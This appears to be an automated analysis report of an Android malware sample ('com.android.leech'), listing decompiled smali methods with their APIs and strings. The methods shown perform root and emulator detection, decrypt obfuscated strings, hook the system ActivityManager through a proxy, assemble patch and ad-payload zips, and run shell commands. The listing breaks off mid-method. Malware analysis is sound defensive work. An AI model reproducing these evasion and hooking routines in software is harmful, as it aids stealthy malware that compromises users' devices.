                                                                              49aput-object v4, v3, v2
                                                                              50array-length v4, v3
                                                                              51move v2, v1
                                                                              52goto_46: if-ge v2, v4, :cond_6c
                                                                              53aget-object v5, v3, v2
                                                                              54new-instance v6, Ljava/io/File;
                                                                              55new-instance v7, Ljava/lang/StringBuilder;
                                                                              57invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
                                                                              59invoke-virtual {v7, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              60move-result-object v5
                                                                              62const-string v7, "su"
                                                                              64invoke-virtual {v5, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              65move-result-object v5
                                                                              67invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              68move-result-object v5
                                                                              70invoke-direct {v6, v5}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                                                                              72invoke-virtual {v6}, Ljava/io/File;->exists()Z
                                                                              73move-result v5
                                                                              74if-eqz v5, :cond_69
                                                                              75goto_68: return v0
                                                                              76cond_69: add-int/lit8 v2, v2, 0x1
                                                                              77goto/16 :goto_46
                                                                              78cond_6c: move v0, v1
                                                                              79goto/16 :goto_68
                                                                              APIs
                                                                              • java.io.File.<init>
                                                                              • java.io.File.getAbsolutePath
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.lang.String.getBytes
                                                                              • java.lang.String.getBytes
                                                                              • java.lang.String.getBytes
                                                                              Strings
                                                                              • unPatch.zip
                                                                              • Boot:
                                                                              • adsdk.zip
                                                                              • patch.zip
                                                                              • ad.zip
                                                                              • bak.zip
                                                                              • channel
                                                                              • MobID
                                                                              • OMD5
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "mContext" # Landroid/content/Context;
                                                                              1.param p1, "pkg" # Ljava/lang/String;
                                                                              2.param p2, "apkMD5" # Ljava/lang/String;
                                                                              3.prologue
                                                                              5invoke-static {p0, p1}, Lcom/android/leech/patch/janus/BasePatch;->getSmaliDir(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                                                                              6move-result-object v5
                                                                              8invoke-static {v5}, Lcom/android/leech/base/util/FileUtils;->del(Ljava/lang/String;)Z
                                                                              10invoke-static {v5}, Lcom/android/leech/base/util/FileUtils;->createDir(Ljava/lang/String;)Z
                                                                              11new-instance v7, Ljava/io/File;
                                                                              13const-string v8, "unPatch.zip"
                                                                              15invoke-direct {v7, v5, v8}, Ljava/io/File;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                                                                              17invoke-virtual {v7}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                                                                              18move-result-object v4
                                                                              20invoke-static {p0}, Lcom/android/leech/base/util/MutilUtils;->getBootloaderBytes(Landroid/content/Context;)[B
                                                                              21move-result-object v6
                                                                              22const-class v7, Lcom/android/leech/patch/janus/BasePatch;
                                                                              23new-instance v8, Ljava/lang/StringBuilder;
                                                                              25invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
                                                                              27const-string v9, "Boot:"
                                                                              29invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              30move-result-object v8
                                                                              32invoke-virtual {v8, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              33move-result-object v8
                                                                              35invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              36move-result-object v8
                                                                              38invoke-static {v7, v8}, Lcom/android/leech/base/util/slLog;->e(Ljava/lang/Class;Ljava/lang/String;)V
                                                                              40invoke-static {v4, v6}, Lcom/android/leech/base/util/FileUtils;->bytesToFile(Ljava/lang/String;[B)Z
                                                                              42invoke-static {p0}, Lcom/android/leech/base/util/MutilUtils;->getMainBytes(Landroid/content/Context;)[B
                                                                              43move-result-object v1
                                                                              45const-string v7, "adsdk.zip"
                                                                              47invoke-static {v4, v7, v1}, Lcom/android/leech/base/util/ZipUtils;->addFileToZipMin(Ljava/lang/String;Ljava/lang/String;[B)Z
                                                                              49invoke-static {p0}, Lcom/android/leech/base/util/MutilUtils;->getPatchBytes(Landroid/content/Context;)[B
                                                                              50move-result-object v3
                                                                              52invoke-static {v3}, Lcom/android/leech/base/util/UintUtils;->isEmpty([B)Z
                                                                              53move-result v7
                                                                              54if-nez v7, :cond_4c
                                                                              56const-string v7, "patch.zip"
                                                                              58invoke-static {v4, v7, v3}, Lcom/android/leech/base/util/ZipUtils;->addFileToZipMin(Ljava/lang/String;Ljava/lang/String;[B)Z
                                                                              59cond_4c:
                                                                              60invoke-static {p0}, Lcom/android/leech/base/util/MutilUtils;->getAdBytes(Landroid/content/Context;)[B
                                                                              61move-result-object v0
                                                                              63invoke-static {v0}, Lcom/android/leech/base/util/UintUtils;->isEmpty([B)Z
                                                                              64move-result v7
                                                                              65if-nez v7, :cond_5b
                                                                              67const-string v7, "ad.zip"
                                                                              69invoke-static {v4, v7, v0}, Lcom/android/leech/base/util/ZipUtils;->addFileToZipMin(Ljava/lang/String;Ljava/lang/String;[B)Z
                                                                              70cond_5b:
                                                                              71invoke-static {p0}, Lcom/android/leech/patch/baksmali/BakUpdate;->update(Landroid/content/Context;)V
                                                                              73invoke-static {p0}, Lcom/android/leech/base/util/MutilUtils;->getBaksmaliBytes(Landroid/content/Context;)[B
                                                                              74move-result-object v2
                                                                              76invoke-static {v2}, Lcom/android/leech/base/util/UintUtils;->isEmpty([B)Z
                                                                              77move-result v7
                                                                              78if-nez v7, :cond_6d
                                                                              80const-string v7, "bak.zip"
                                                                              82invoke-static {v4, v7, v2}, Lcom/android/leech/base/util/ZipUtils;->addFileToZipMin(Ljava/lang/String;Ljava/lang/String;[B)Z
                                                                              83cond_6d:
                                                                              84const-string v7, "channel"
                                                                              86invoke-static {}, Lcom/android/leech/base/util/Channel;->getChannel()Ljava/lang/String;
                                                                              87move-result-object v8
                                                                              89invoke-virtual {v8}, Ljava/lang/String;->getBytes()[B
                                                                              90move-result-object v8
                                                                              92invoke-static {v4, v7, v8}, Lcom/android/leech/base/util/ZipUtils;->addFileToZipMin(Ljava/lang/String;Ljava/lang/String;[B)Z
                                                                              94const-string v7, "MobID"
                                                                              96invoke-static {}, Lcom/android/leech/base/util/Channel;->getPatchmobid()Ljava/lang/String;
                                                                              97move-result-object v8
                                                                              99invoke-virtual {v8}, Ljava/lang/String;->getBytes()[B
                                                                              100move-result-object v8
                                                                              102invoke-static {v4, v7, v8}, Lcom/android/leech/base/util/ZipUtils;->addFileToZipMin(Ljava/lang/String;Ljava/lang/String;[B)Z
                                                                              104const-string v7, "OMD5"
                                                                              106invoke-virtual {p2}, Ljava/lang/String;->getBytes()[B
                                                                              107move-result-object v8
                                                                              109invoke-static {v4, v7, v8}, Lcom/android/leech/base/util/ZipUtils;->addFileToZipMin(Ljava/lang/String;Ljava/lang/String;[B)Z
                                                                              110return-void
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • android.content.Context.getApplicationContext
                                                                              • java.lang.reflect.Method.invoke
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.util.Log.e
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.util.Log.e
                                                                              Strings
                                                                              • com.ut.device.UTDevice
                                                                              • getUtdid
                                                                              • UMUtils
                                                                              • get utiid e is
                                                                              Position Instruction Meta Information
                                                                              0const/4 v1, 0x0
                                                                              1if-nez p0, :cond_5
                                                                              2move-object v0, v1
                                                                              3goto_4: return-object v0
                                                                              4try_start_5:
                                                                              5const-string v0, "com.ut.device.UTDevice"
                                                                              7invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              8move-result-object v0
                                                                              10const-string v2, "getUtdid"
                                                                              11const/4 v3, 0x1
                                                                              12new-array v3, v3, [Ljava/lang/Class;
                                                                              13const/4 v4, 0x0
                                                                              14const-class v5, Landroid/content/Context;
                                                                              15aput-object v5, v3, v4
                                                                              17invoke-virtual {v0, v2, v3}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              18move-result-object v0
                                                                              19const/4 v2, 0x0
                                                                              20const/4 v3, 0x1
                                                                              21new-array v3, v3, [Ljava/lang/Object;
                                                                              22const/4 v4, 0x0
                                                                              24invoke-virtual {p0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
                                                                              25move-result-object v5
                                                                              26aput-object v5, v3, v4
                                                                              28invoke-virtual {v0, v2, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              29move-result-object v0
                                                                              30check-cast v0, Ljava/lang/String;
                                                                              31try_end_2a: goto/16 :goto_4
                                                                              32catch_2b: move-exception v0
                                                                              33try_start_2c:
                                                                              34invoke-static {p0}, LuAgent/commonsdk/utils/UMUtils;->readUTDId(Landroid/content/Context;)Ljava/lang/String;
                                                                              35try_end_2f: move-result-object v0
                                                                              36goto/16 :goto_4
                                                                              37catch_31: move-exception v0
                                                                              38sget-boolean v2, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              39if-eqz v2, :cond_4e
                                                                              41const-string v2, "UMUtils"
                                                                              42new-instance v3, Ljava/lang/StringBuilder;
                                                                              44invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              46const-string v4, "get utiid e is "
                                                                              48invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              49move-result-object v3
                                                                              51invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              52move-result-object v0
                                                                              54invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              55move-result-object v0
                                                                              57invoke-static {v2, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                                                              58cond_4e: move-object v0, v1
                                                                              59goto/16 :goto_4
                                                                              60catch_50: move-exception v0
                                                                              61sget-boolean v2, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              62if-eqz v2, :cond_6d
                                                                              64const-string v2, "UMUtils"
                                                                              65new-instance v3, Ljava/lang/StringBuilder;
                                                                              67invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              69const-string v4, "get utiid e is "
                                                                              71invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              72move-result-object v3
                                                                              74invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              75move-result-object v0
                                                                              77invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              78move-result-object v0
                                                                              80invoke-static {v2, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                                                              81cond_6d: move-object v0, v1
                                                                              82goto/16 :goto_4
                                                                              Cross References
                                                                              APIs
                                                                              • android.os.Looper.getMainLooper
                                                                              • android.os.Looper.getThread
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Object.getClass
                                                                              • java.lang.Class.getDeclaredField
                                                                              • java.lang.reflect.Field.setAccessible
                                                                              • java.lang.reflect.Field.get
                                                                              • java.lang.Object.getClass
                                                                              • java.lang.Class.getDeclaredField
                                                                              • java.lang.reflect.Field.setAccessible
                                                                              • java.lang.reflect.Field.get
                                                                              • java.lang.Object.getClass
                                                                              • java.lang.Class.getDeclaredMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              Strings
                                                                              • \ua1ad\ub045\u59fe\u5fe6\u7b68\u5c72\u536b\u45d3\udf36\u41c9\ud634\uaf76\udb84\u836c\u4ce3\ufab9\u0492\u92ee\uc55d\u0e07\u9be3\uef7a\u41e8\u0a68\u28dd\u728f
                                                                              • \ua1a0\ub044\u59f9\u5ff5\u7b6b\u5c4d\u536e\u4591\udf22\u41dc\ud637
                                                                              • \ua1b8\ub04a\u59f8\u5ff8\u7b62
                                                                              • \ua1ab\ub04e\u59ee\u5fd5\u7b77\u5c6b\u5363\u4594\udf34\u41d8\ud630\uaf31\udbaa\u8361
                                                                              Position Instruction Meta Information
                                                                              1invoke-static {}, Landroid/os/Looper;->getMainLooper()Landroid/os/Looper;
                                                                              2move-result-object v0
                                                                              4invoke-virtual {v0}, Landroid/os/Looper;->getThread()Ljava/lang/Thread;
                                                                              5move-result-object v0
                                                                              7const-string v1, "\ua1ad\ub045\u59fe\u5fe6\u7b68\u5c72\u536b\u45d3\udf36\u41c9\ud634\uaf76\udb84\u836c\u4ce3\ufab9\u0492\u92ee\uc55d\u0e07\u9be3\uef7a\u41e8\u0a68\u28dd\u728f"
                                                                              9invoke-static {v1}, Lcom/android/support/multidex/Application;->qHhH(Ljava/lang/String;)Ljava/lang/String;
                                                                              10move-result-object v1
                                                                              12invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              13move-result-object v1
                                                                              15invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                                              16move-result-object v2
                                                                              18const-string v3, "\ua1a0\ub044\u59f9\u5ff5\u7b6b\u5c4d\u536e\u4591\udf22\u41dc\ud637"
                                                                              20invoke-static {v3}, Lcom/android/support/multidex/Application;->qHhH(Ljava/lang/String;)Ljava/lang/String;
                                                                              21move-result-object v3
                                                                              23invoke-virtual {v2, v3}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                                              24move-result-object v2
                                                                              25const/4 v3, 0x1
                                                                              27invoke-virtual {v2, v3}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                                                                              29invoke-virtual {v2, v0}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                                              30move-result-object v0
                                                                              32invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                                              33move-result-object v2
                                                                              35const-string v4, "\ua1b8\ub04a\u59f8\u5ff8\u7b62"
                                                                              37invoke-static {v4}, Lcom/android/support/multidex/Application;->qHhH(Ljava/lang/String;)Ljava/lang/String;
                                                                              38move-result-object v4
                                                                              40invoke-virtual {v2, v4}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                                              41move-result-object v2
                                                                              43invoke-virtual {v2, v3}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                                                                              45invoke-virtual {v2, v0}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                                              46move-result-object v0
                                                                              47check-cast v0, [Ljava/lang/Object;
                                                                              48goto_3f: array-length v2, v0
                                                                              49if-ge v3, v2, :cond_66
                                                                              50aget-object v2, v0, v3
                                                                              51if-nez v2, :cond_47
                                                                              52goto/16 :goto_63
                                                                              53cond_47:
                                                                              54invoke-virtual {v2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                                              55move-result-object v4
                                                                              56if-ne v4, v1, :cond_63
                                                                              58const-string v0, "\ua1ab\ub04e\u59ee\u5fd5\u7b77\u5c6b\u5363\u4594\udf34\u41d8\ud630\uaf31\udbaa\u8361"
                                                                              60invoke-static {v0}, Lcom/android/support/multidex/Application;->qHhH(Ljava/lang/String;)Ljava/lang/String;
                                                                              61move-result-object v0
                                                                              62const/4 v3, 0x0
                                                                              63new-array v4, v3, [Ljava/lang/Class;
                                                                              65invoke-virtual {v1, v0, v4}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              66move-result-object v0
                                                                              67new-array v1, v3, [Ljava/lang/Object;
                                                                              69invoke-virtual {v0, v2, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              70move-result-object v0
                                                                              71check-cast v0, Landroid/content/Context;
                                                                              72return-object v0
                                                                              73goto_63: add-int/lit8 v3, v3, 0x2
                                                                              74goto/16 :goto_3f
                                                                              75cond_66: const/4 v0, 0x0
                                                                              76return-object v0
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              Strings
                                                                              • ro.genymotion.version
                                                                              • |
                                                                              • \n
                                                                              • androVM.vbox_dpi
                                                                              • qemu.sf.fake_camera
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "arg3" # Landroid/content/Context;
                                                                              1.prologue
                                                                              2new-instance v0, Ljava/lang/StringBuilder;
                                                                              4invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                                              6const-string v2, "ro.genymotion.version"
                                                                              8invoke-static {p0, v2}, Lcom/android/leech/base/bugly/encode/ap;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                                                                              9move-result-object v1
                                                                              10if-eqz v1, :cond_1f
                                                                              12const-string v2, "ro.genymotion.version"
                                                                              14invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              16const-string v2, "|"
                                                                              18invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              20invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              22const-string v2, "\n"
                                                                              24invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              25cond_1f:
                                                                              26const-string v2, "androVM.vbox_dpi"
                                                                              28invoke-static {p0, v2}, Lcom/android/leech/base/bugly/encode/ap;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                                                                              29move-result-object v1
                                                                              30if-eqz v1, :cond_39
                                                                              32const-string v2, "androVM.vbox_dpi"
                                                                              34invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              36const-string v2, "|"
                                                                              38invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              40invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              42const-string v2, "\n"
                                                                              44invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              45cond_39:
                                                                              46const-string v2, "qemu.sf.fake_camera"
                                                                              48invoke-static {p0, v2}, Lcom/android/leech/base/bugly/encode/ap;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                                                                              49move-result-object v1
                                                                              50if-eqz v1, :cond_4e
                                                                              52const-string v2, "qemu.sf.fake_camera"
                                                                              54invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              56const-string v2, "|"
                                                                              58invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              60invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              61cond_4e:
                                                                              62invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              63move-result-object v2
                                                                              64return-object v2
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getDeclaredField
                                                                              • java.lang.reflect.Field.setAccessible
                                                                              • java.lang.reflect.Field.get
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getDeclaredField
                                                                              • java.lang.reflect.Field.setAccessible
                                                                              • java.lang.reflect.Field.get
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Thread.currentThread
                                                                              • java.lang.Thread.getContextClassLoader
                                                                              • java.lang.reflect.Proxy.newProxyInstance
                                                                              • java.lang.reflect.Field.set
                                                                              Strings
                                                                              • android.app.ActivityManagerNative
                                                                              • gDefault
                                                                              • android.util.Singleton
                                                                              • mInstance
                                                                              • android.app.IActivityManager
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              1try_start_0:
                                                                              2const-string v8, "android.app.ActivityManagerNative"
                                                                              4invoke-static {v8}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              5move-result-object v0
                                                                              7const-string v8, "gDefault"
                                                                              9invoke-virtual {v0, v8}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                                              10move-result-object v2
                                                                              11const/4 v8, 0x1
                                                                              13invoke-virtual {v2, v8}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                                                                              14const/4 v8, 0x0
                                                                              16invoke-virtual {v2, v8}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                                              17move-result-object v1
                                                                              19const-string v8, "android.util.Singleton"
                                                                              21invoke-static {v8}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              22move-result-object v7
                                                                              24const-string v8, "mInstance"
                                                                              26invoke-virtual {v7, v8}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                                              27move-result-object v4
                                                                              28const/4 v8, 0x1
                                                                              30invoke-virtual {v4, v8}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                                                                              32invoke-virtual {v4, v1}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                                              33move-result-object v6
                                                                              35const-string v8, "android.app.IActivityManager"
                                                                              37invoke-static {v8}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              38move-result-object v3
                                                                              40invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
                                                                              41move-result-object v8
                                                                              43invoke-virtual {v8}, Ljava/lang/Thread;->getContextClassLoader()Ljava/lang/ClassLoader;
                                                                              44move-result-object v8
                                                                              45const/4 v9, 0x1
                                                                              46new-array v9, v9, [Ljava/lang/Class;
                                                                              47const/4 v10, 0x0
                                                                              48aput-object v3, v9, v10
                                                                              49new-instance v10, Lcom/android/leech/base/hook/proxy/IActivityManagerHandler;
                                                                              51invoke-direct {v10, v6}, Lcom/android/leech/base/hook/proxy/IActivityManagerHandler;-><init>(Ljava/lang/Object;)V
                                                                              53invoke-static {v8, v9, v10}, Ljava/lang/reflect/Proxy;->newProxyInstance(Ljava/lang/ClassLoader;[Ljava/lang/Class;Ljava/lang/reflect/InvocationHandler;)Ljava/lang/Object;
                                                                              54move-result-object v5
                                                                              56invoke-virtual {v4, v1, v5}, Ljava/lang/reflect/Field;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                                                                              57try_end_49: return-void
                                                                              58catch_4a: move-exception v8
                                                                              59goto/16 :goto_49
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getDeclaredField
                                                                              • java.lang.reflect.Field.setAccessible
                                                                              • java.lang.reflect.Field.get
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getDeclaredField
                                                                              • java.lang.reflect.Field.setAccessible
                                                                              • java.lang.reflect.Field.get
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Thread.currentThread
                                                                              • java.lang.Thread.getContextClassLoader
                                                                              • java.lang.reflect.Proxy.newProxyInstance
                                                                              • java.lang.reflect.Field.set
                                                                              Strings
                                                                              • android.app.ActivityManager
                                                                              • IActivityManagerSingleton
                                                                              • android.util.Singleton
                                                                              • mInstance
                                                                              • android.app.IActivityManager
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              1try_start_0:
                                                                              2const-string v8, "android.app.ActivityManager"
                                                                              4invoke-static {v8}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              5move-result-object v0
                                                                              7const-string v8, "IActivityManagerSingleton"
                                                                              9invoke-virtual {v0, v8}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                                              10move-result-object v2
                                                                              11const/4 v8, 0x1
                                                                              13invoke-virtual {v2, v8}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                                                                              14const/4 v8, 0x0
                                                                              16invoke-virtual {v2, v8}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                                              17move-result-object v1
                                                                              19const-string v8, "android.util.Singleton"
                                                                              21invoke-static {v8}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              22move-result-object v7
                                                                              24const-string v8, "mInstance"
                                                                              26invoke-virtual {v7, v8}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                                              27move-result-object v4
                                                                              28const/4 v8, 0x1
                                                                              30invoke-virtual {v4, v8}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                                                                              32invoke-virtual {v4, v1}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                                              33move-result-object v6
                                                                              35const-string v8, "android.app.IActivityManager"
                                                                              37invoke-static {v8}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              38move-result-object v3
                                                                              40invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
                                                                              41move-result-object v8
                                                                              43invoke-virtual {v8}, Ljava/lang/Thread;->getContextClassLoader()Ljava/lang/ClassLoader;
                                                                              44move-result-object v8
                                                                              45const/4 v9, 0x1
                                                                              46new-array v9, v9, [Ljava/lang/Class;
                                                                              47const/4 v10, 0x0
                                                                              48aput-object v3, v9, v10
                                                                              49new-instance v10, Lcom/android/leech/base/hook/proxy/IActivityManagerHandler;
                                                                              51invoke-direct {v10, v6}, Lcom/android/leech/base/hook/proxy/IActivityManagerHandler;-><init>(Ljava/lang/Object;)V
                                                                              53invoke-static {v8, v9, v10}, Ljava/lang/reflect/Proxy;->newProxyInstance(Ljava/lang/ClassLoader;[Ljava/lang/Class;Ljava/lang/reflect/InvocationHandler;)Ljava/lang/Object;
                                                                              54move-result-object v5
                                                                              56invoke-virtual {v4, v1, v5}, Ljava/lang/reflect/Field;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                                                                              57try_end_49: return-void
                                                                              58catch_4a: move-exception v8
                                                                              59goto/16 :goto_49
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.ProcessBuilder.<init>
                                                                              • java.lang.ProcessBuilder.command
                                                                              • java.lang.ProcessBuilder.start
                                                                              • java.lang.Process.getOutputStream
                                                                              • java.lang.Process.getInputStream
                                                                              • java.lang.Process.getErrorStream
                                                                              • java.io.OutputStream.write
                                                                              • java.io.OutputStream.flush
                                                                              • java.lang.Process.waitFor
                                                                              • java.io.InputStreamReader.<init>
                                                                              • java.io.BufferedReader.<init>
                                                                              • java.io.BufferedReader.readLine
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.io.BufferedReader.readLine
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.io.InputStream.read
                                                                              • java.lang.StringBuilder.toString
                                                                              Position Instruction Meta Information
                                                                              0const/4 v1, 0x0
                                                                              1try_start_1: new-instance v0, Ljava/lang/ProcessBuilder;
                                                                              2const/4 v2, 0x0
                                                                              3new-array v2, v2, [Ljava/lang/String;
                                                                              5invoke-direct {v0, v2}, Ljava/lang/ProcessBuilder;-><init>([Ljava/lang/String;)V
                                                                              7invoke-virtual {v0, p0}, Ljava/lang/ProcessBuilder;->command([Ljava/lang/String;)Ljava/lang/ProcessBuilder;
                                                                              8move-result-object v0
                                                                              10invoke-virtual {v0}, Ljava/lang/ProcessBuilder;->start()Ljava/lang/Process;
                                                                              11try_end_10: move-result-object v3
                                                                              12try_start_11:
                                                                              13invoke-virtual {v3}, Ljava/lang/Process;->getOutputStream()Ljava/io/OutputStream;
                                                                              14try_end_14: move-result-object v7
                                                                              15try_start_15:
                                                                              16invoke-virtual {v3}, Ljava/lang/Process;->getInputStream()Ljava/io/InputStream;
                                                                              17try_end_18: move-result-object v2
                                                                              18try_start_19:
                                                                              19invoke-virtual {v3}, Ljava/lang/Process;->getErrorStream()Ljava/io/InputStream;
                                                                              20try_end_1c: move-result-object v4
                                                                              21try_start_1d:
                                                                              22sget-object v0, LuAgent/commonsdk/internal/utils/g;->b:[B
                                                                              24invoke-virtual {v7, v0}, Ljava/io/OutputStream;->write([B)V
